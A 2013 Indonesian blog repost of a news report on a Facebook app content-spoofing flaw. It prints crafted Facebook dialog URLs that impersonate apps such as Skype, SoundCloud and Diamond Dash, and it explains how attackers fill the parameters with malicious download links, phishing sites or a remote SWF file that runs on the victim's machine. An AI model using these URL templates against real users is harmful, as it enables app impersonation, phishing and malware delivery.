want to advertise here $100 / views

May 16, 2013

Hacking Facebook, teknik untuk menipu isi dari Facebook App

Ada banyak celah unpatched atau kekurangan dalam situs Facebook, yang memungkinkan hacker untuk menyuntikkan link eksternal atau gambar ke dinding, pembajakan account facebook atau melewati privasi sosial Anda.

Hari ini kita akan melaporkan tentang kerentanan lain tidak tetap facebook app yang memungkinkan hacker untuk menipu isi dari setiap aplikasi Facebook dengan mudah.

Nir Goldshlager dari Break Security hari terkena cacat besar lain yang memungkinkan hacker untuk dinding posting pesan palsu dari aplikasi terpercaya seperti Saavn, Permen Crush, Spotify, Pinterest, atau benar-benar ada aplikasi lain di Facebook.

Dalam metode 2012 Facebook penerbitan disebut stream.publish dan Stream Publish Dialog tampak seperti berikut:


https://www.facebook.com/dialog/stream.publish?app_id=xxxx&redirect_uri=http://www.facebook.com/&action_links=&attachment=%7B%27media%27:%20[%7B%27type%27:%20%27flash%27,%27swfsrc%27:%27http://files.nirgoldshlager.com/goldshlager2.swf%27,%27imgsrc%27:%27http://www.vectorstock.com/i/composite/41,30/hacked-pc-vector-194130.jpg%27,%27width%27:%27130%27,%27height%27:%27%20130%27,%27expanded_width%27:%27500%27,%27expanded_%20height%27:%27500%27%7D],%27name%27:%27xxxx%27,%27caption%27:%27xxxx%20Application%27,%27properties%27:%7B%27xxx%27:%7B%27text%27:%27Download%20xxx%27,%27href%27:%27http://nirgoldshlager.com%27%7D%7D%7D

Dimana APP_ID dan lampiran (swfsr, imgsrc, href) parameter dapat ditargetkan oleh hacker yaitu menggunakan nilai APP_ID sebagai aplikasi ID dari aplikasi apapun yang ingin Anda spoof (Saavn, Spotify, dll) dan penyerang harus menghasilkan parameter lampiran seperti swfrsc dan imgsrc .

hacking, facebook

Jika " keamanan Streaming posting URL" pilihan dinonaktifkan oleh pengembang aplikasi itu, hacker dapat menggunakan file swf jarak jauh upload sebagai parameter lampiran.

"setiap kali korban mengunjungi posting dinding saya, mereka akan melihat spoofing konten dari aplikasi Facebook yang umumnya mereka percaya. Mengklik link pada postingan membuat file swf dari situs eksternal mengeksekusi pada mesin kliennya." Nir mengatakan

Namun pada tahun 2013, Facebook mengubah mekanisme stream.publish posting dan memperkenalkan parameter baru seperti dijelaskan di bawah:
  1. Parameter Link: Dengan parameter ini, kami akan menyertakan link berbahaya eksternal kami (file exe virus, 0days, situs phishing, atau link berbahaya lainnya.
  2. Gambar Parameter: Parameter ini hanya dapat digunakan jika kita ingin spoof konten dengan gambar. Isi gambar hanya akan ditampilkan dengan benar pada kiriman Dinding kami . Ini tidak akan ditampilkan dengan benar di Newsfeed, sehingga hanya relevan untuk posting dinding app spoofing.
  3. Keterangan Parameter: Parameter ini akan memungkinkan bagi seorang penyerang memilih dari mana situs web konten itu berasal, Misalnya: Facebook Zynga Ownerappdomain
  4. Nama Parameter: Parameter ini menghasilkan judul yang kita inginkan. Setiap kali korban klik pada judul itu, ia akan dibawa ke situs web berbahaya kami.
facebook, hacking, tehnik

Beberapa contoh seperti yang diberikan di bawah ini:
  • Diamond Dash:
    https://www.facebook.com/dialog/feed?app_id=127995567256931&link=http://nmap.org/dist/nmap-6.20BETA1-setup.exe&picture=http://www.topandroidapplication.com/wp-content/uploads/2013/04/diamond-dash.png name=Diamond%20Dash%20For%20Windows&%20caption=http://facebook.com&description=&%20redirect_uri=https://facebook.com
  • SoundCloud:
    https://www.facebook.com/dialog/feed?app_id=19507961798&link=http://nmap.org/dist/nmap-6.20BETA1-setup.exe&picture=http://www.atpfestival.com/assets/img/soundcloud.png&name=Download%20SoundCloud%20For%20Windows&%20caption=http://soundcloud.com&description=&%20redirect_uri=https://facebook.com
  • Skype:
    https://www.facebook.com/dialog/feed?app_id=260273468396&link= https://touch.facebook.com/apps/sdfsdsdsgs &picture=http://he.downloadastro.com/static/files/24/3b/29/243b29a6163cc99e359f4c354422f238.jpg&name=Download%20Skype%20New%20Version&%20caption=http://skype.com&description=&%20redirect_uri=https://facebook.com
  • Slidshare
    https://www.facebook.com/dialog/feed?app_id=2490221586&link=%20https://touch.facebook.com/apps/sdfsdsdsgs/&picture=http://www.samsamia.com/wp-content/uploads/2012/11/slideshare-logo-300×300-e1353118471460.png&name=SlideShare%20For%20Windows&%20caption=slidshare.com&description=&%20redirect_uri=https://facebook.com

Spoofing parameter lagi memungkinkan seseorang untuk menipu isi dari aplikasi Facebook dan cacat masih unpatched. Teknik ini dapat digunakan secara luas oleh penjahat cyber untuk sosial pengguna facebook insinyur atau menginstal malwares pada sistem mereka.


Sources : The hacker news

Artikel Terkait

0komentar:

Post a Comment